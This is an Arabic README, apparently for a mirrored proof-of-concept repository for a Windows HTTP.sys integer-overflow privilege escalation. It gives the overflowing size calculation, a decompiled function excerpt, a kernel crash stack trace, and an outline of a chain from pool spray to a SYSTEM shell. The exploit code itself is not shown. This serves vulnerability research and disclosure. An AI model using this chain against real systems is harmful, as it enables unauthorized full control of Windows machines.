
استغلال تصعيد الامتيازات المحلية لنظام ويندوز عبر تجاوز عدد صحيح في HTTP.sys (CVE-2026-62735)، مع إظهار الانهيار والحصول على شل كامل بصلاحيات SYSTEM عبر تجاوز سعة تجمع الذاكرة غير المقسّمة (nonpaged pool). للاختبار المصرّح به فقط.
Integer Overflow. من خلال هذه الثغرة، لدينا بدائية Heap Overflow -> SYSTEM shell.Integer Overflowhttp.sysUlpCreateInternalResponseOldhttp.sys بتخصيص ذاكرة بناءً على TotalHeaderBytes، على الرغم من أن الترويسات تتطلب مخزنًا مؤقتًا أكبر بكثير. وهذا يوفر الأساس لتجاوز تخصيص التجمع غير المُقسّم (nonpaged-pool) في UlGenerateMultipleKnownHeadersOld:__int64 __fastcall UlpCreateInternalResponseOld(
sv_UL_REQUEST *Request,
unsigned __int16 EntityChunkCount,
unsigned int FixedHeaderCount,
unsigned int FixedHeaderBytes,
unsigned int MultipleHeaderCount,
unsigned int MultipleHeaderBytes,
unsigned __int16 KnownHeaderCount,
unsigned int TrailerCount,
unsigned int TrailerBytes,
char FastForwardRequested,
char CacheEligible,
char ResponseInfoPresent,
char AutomaticChunkingRequired,
char AdditionalHeaderRequired,
sv_UL_INTERNAL_RESPONSE **InternalResponseOut)
{
int VariableHeaderBytes; // r9d
int H3ExtraHeaderBytes; // r10d
unsigned int MultipleHeaderBytesLocal; // ecx
unsigned int TotalHeaderBytes; // [rsp+E8h] [rbp+60h]
...
// 0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e
TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes;
...
}
*** Fatal System Error: 0x00000050
(0xFFFFCD86AE712000,0x0000000000000002,0xFFFFF807489C4362,0x0000000000000002)
Driver at fault:
*** HTTP.sys - Address FFFFF807489C4362 base at FFFFF80748860000, DateStamp 2bfcaa4c
.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`b26fa0d0 cc int 3
0: kd> k
# Child-SP RetAddr Call Site
00 ffffe205`092ddf78 fffff807`b27afcf2 nt!DbgBreakPointWithStatus
01 ffffe205`092ddf80 fffff807`b27af21e nt!KiBugCheckDebugBreak+0x12
02 ffffe205`092ddfe0 fffff807`b26f9357 nt!KeBugCheck2+0xb2e
03 ffffe205`092de770 fffff807`b24fd030 nt!KeBugCheckEx+0x107
04 ffffe205`092de7b0 fffff807`b2443c56 nt!MiSystemFault+0x850
05 ffffe205`092de8a0 fffff807`b28badcb nt!MmAccessFault+0x646
06 ffffe205`092dea10 fffff807`489c4362 nt!KiPageFault+0x38b
07 ffffe205`092deba8 fffff807`489a6611 HTTP!memcpy+0x122
08 ffffe205`092debb0 fffff807`4897c165 HTTP!UlGenerateMultipleKnownHeadersOld+0xbdd
09 ffffe205`092ded90 fffff807`48976db0 HTTP!UlpPrepareHttpResponseOld+0x2c9
0a ffffe205`092dee70 fffff807`489361a4 HTTP!UlCaptureHttpResponseOld+0x92c
0b ffffe205`092defc0 fffff807`488f7c92 HTTP!UlSendHttpResponseIoctlOld+0x1160
0c ffffe205`092df600 fffff807`488c4db5 HTTP!UlSendHttpResponseIoctl+0x12
0d ffffe205`092df630 fffff807`b245cabb HTTP!UxDeviceControl+0xb5
0e ffffe205`092df670 fffff807`b245ca33 nt!IopfCallDriver+0x5b
0f ffffe205`092df6b0 fffff807`b2ac0e75 nt!IofCallDriver+0x13
10 ffffe205`092df6e0 fffff807`b2abfcbc nt!IopSynchronousServiceTail+0x1c5
11 ffffe205`092df790 fffff807`b2abf30e nt!IopXxxControlFile+0x99c
12 ffffe205`092dfa00 fffff807`b28bf255 nt!NtDeviceIoControlFile+0x5e
13 ffffe205`092dfa70 00007ffa`d37c0144 nt!KiSystemServiceCopyEnd+0x25
14 00000014`0d9af2d8 00007ffa`d08a3953 ntdll!NtDeviceIoControlFile+0x14
15 00000014`0d9af2e0 00007ffa`d1f93335 KERNELBASE!DeviceIoControl+0x73
16 00000014`0d9af350 00007ff7`00cb1cb4 KERNEL32!DeviceIoControlImplementation+0x75
17 00000014`0d9af3a0 00000000`00001f7f poc!main+0x924
18 00000014`0d9af3a8 00000000`00000007 0x1f7f
19 00000014`0d9af3b0 00000014`0d9af4a0 0x7
1a 00000014`0d9af3b8 00000000`00000000 0x00000014`0d9af4a0
هذا المستودع هو صورة توزيع وسيطة لـ PoC الخاص بثغرة CVE-2026-62735 (Windows HTTP.sys Integer Overflow → Nonpaged Pool Overflow → SYSTEM) (الشرح الفني في README الأصلي أعلاه). المحتوى مُشتق من PoC العام الأصلي، ويُستخدم للأرشفة والتوزيع فقط. PoC مخصص للبحث الأمني والتحقق من الثغرات والاختبار المصرح به فقط، ولا يُستخدم ضد أهداف غير مصرح بها.
UlpCreateInternalResponseOld / UlGenerateMultipleKnownHeadersOld (http.sys، مسار الكود القديم)0x12403F (UlSendHttpResponseIoctl) إلى http.sys للمعالجةالمبدأ الأساسي: TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes — عندما يتم إنشاء عدد بايتات ترويسات الاستجابة متعددة القيم ليقترب من 2³²، يلتف هذا الجمع 32-بت إلى قيمة صغيرة جدًا (0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e)، ويقوم ExAllocatePool3 بتخصيص مخزن مؤقت للنواة أصغر بكثير من المطلوب فعليًا، ثم تقوم memcpy في UlGenerateMultipleKnownHeadersOld بالكتابة خارج حدود كتلة التجمع غير المُقسّم.
poc/ poc.cpp + head.hpp —— استغلال كامل: DQE heap spray عبر named pipes → تجاوز التجمع للتحكم في 0x30 بايت من الترويسة → قراءة/كتابة عشوائية → نسخ SYSTEM token → SYSTEM shell
crash/ poc.cpp + head.hpp —— تشغيل الانهيار فقط (للتحقق من وجود الثغرة، تشغيل bugcheck 0x50)
crash/ و poc/ كلاهما قابل للتنفيذ بشكل مستقل؛ تشغيل poc.exe بنجاح سيفتح SYSTEM shellهذا PoC مخصص للأغراض التعليمية والبحث الأمني والاختبار المصرح به فقط، ويُسمح بتشغيله فقط على أنظمتك الخاصة أو الأنظمة التي لديك إذن صريح لها. يؤدي الاستغلال إلى رفع الامتيازات إلى SYSTEM عبر تجاوز تجمع النواة، وقد يتسبب في شاشة زرقاء (0x50)، لذا يُرجى الاختبار في جهاز افتراضي قابل للتدمير.
LICENSE).